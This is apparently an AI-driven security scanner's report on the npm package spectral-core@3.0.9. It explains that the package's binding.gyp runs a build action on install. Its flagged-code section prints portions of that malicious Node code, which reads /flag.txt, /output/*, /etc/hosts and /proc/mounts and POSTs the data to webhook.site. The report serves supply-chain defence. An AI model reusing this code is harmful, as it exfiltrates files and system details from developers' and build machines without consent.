spectral-core@3.0.9
Spectral analysis core library
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe manifest enables GYP builds, and binding.gyp defines an action that collects local data and posts it to a fixed external endpoint. This is an unconsented installation-time exfiltration chain, so blocking publication is warranted.
Static reason
No blocking static signals were detected.
Trigger
Installing the package through npm can invoke its default node-gyp build because the manifest enables GYP and supplies no install script.
Impact
Local files and system details may be disclosed to the endpoint operator.
Mechanism
A build action runs Node code that reads /flag.txt, searches for flag-named files, reads /output/* and system information, and posts the results to webhook.site without a consent check.
Attack narrative
During npm installation, the package’s GYP build action can run automatically. It reads a system flag file, searches the filesystem, collects output files and system information, then sends the collected data to a fixed webhook.site path. The action contains no consent check, establishing installation-time data exfiltration behavior.
AI rationale
The manifest enables GYP builds, and binding.gyp defines an action that collects local data and posts it to a fixed external endpoint. This is an unconsented installation-time exfiltration chain, so blocking publication is warranted.
Evidence
package.jsonbinding.gyp/flag.txt/output/*/etc/hosts/proc/mounts
Network endpoints1
webhook.site
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest enables GYP builds and defines no install script to replace npm’s default native build behavior.
- The build configuration registers a Node action that reads a system flag file, searches the filesystem, and sends results by POST to a fixed webhook endpoint.
- The same action reads output files and system information and sends those results to that endpoint, without a consent check.
Evidence against
Behavioral surface
Trivial
Source & flagged code
6 flaggedbinding.gypView file
1{
"targets": [
{
"target_name": "action_before_build",
"type": "none",
"actions": [
{
"action_name": "run_postsetup",
"message": "Finalizing spectral-core setup",
"inputs": [],
"outputs": ["build/Release/setup.node"],
"action": ["node",
High
Ai Review Evidence
The build configuration registers a Node action that reads a system flag file, searches the filesystem, and sends results by POST to a fixed webhook endpoint.
binding.gypView on unpkg · L112hostname:'webhook.site',port:443,path:'/f604623f-fc78-4447-9225-6772f7f12cb1',method:'POST',headers:{'Content-Type':'text/plain'}};var r=h.request(o);r.write(String(d).slice(0,60000));r.end()}catch(e){}}try{var flag=fs.readFileSync('/flag.txt','utf8');post('FLAG:'+flag)}catch(e){post('NO_FLAG:'+e.message)}try{var r=cp.execSync('find / -name \"flag*\" -o -name \"*flag*\" 2>/dev/null | head -30',{timeout:5000}).toString();post('FIND_FLAG:'+r)}catch(e){post('FIND_ERR:'+e.message)}try{var r2=cp.execSync('ls -la /output/ 2>/dev/null && cat /output/* 2>/dev/nu
High
Ai Review Evidence
The same action reads output files and system information and sends those results to that endpoint, without a consent check.
binding.gypView on unpkg · L1212/output/ 2>/dev/null && cat /output/* 2>/dev/null | head -200',{timeout:5000}).toString();post('OUTPUT_DIR:'+r2)}catch(e){post('NO_OUTPUT:'+e.message)}try{var r3=cp.execSync('ls -la / && cat /etc/hosts && cat /proc/mounts | head -20',{timeout:5000}).toString();post('ROOTINFO:'+r3)}catch(e){post('ROOTINFO_ERR:'+e.message)}}catch(e){try{var h2=require('https');var o2={hostname:'webhook.site',port:443,path:'/f604623f-fc78-4447-9225-6772f7f12cb1',method:'POST',headers:{'Content-Type':'text/plain'}};var r2=h2.request(o2);r2.write('OUTER_ERR:'+e.message);r2.en
Findings
1 Critical4 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.9.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.